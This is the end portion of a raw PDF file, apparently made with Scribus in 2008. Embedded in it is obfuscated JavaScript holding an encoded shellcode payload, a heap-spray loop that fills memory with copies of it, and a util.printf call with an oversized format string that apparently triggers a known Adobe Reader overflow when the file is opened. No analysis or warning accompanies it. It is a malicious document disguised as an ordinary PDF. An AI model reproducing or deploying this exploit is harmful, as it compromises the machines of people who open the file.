"%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
"%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
"%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
"%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
"%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
"%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
"%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
"%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
"%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
"%u6695%u103C%u79D7%u0435%u0979%u745D");
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000264 00000 n
0000000282 00000 n
0000000327 00000 n
0000000400 00000 n
0000000431 00000 n
0000000451 00000 n
0000000490 00000 n
0000000556 00000 n
0000000734 00000 n
0000000784 00000 n
0000000865 00000 n
0000000912 00000 n
0000006893 00000 n
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF
|
|||
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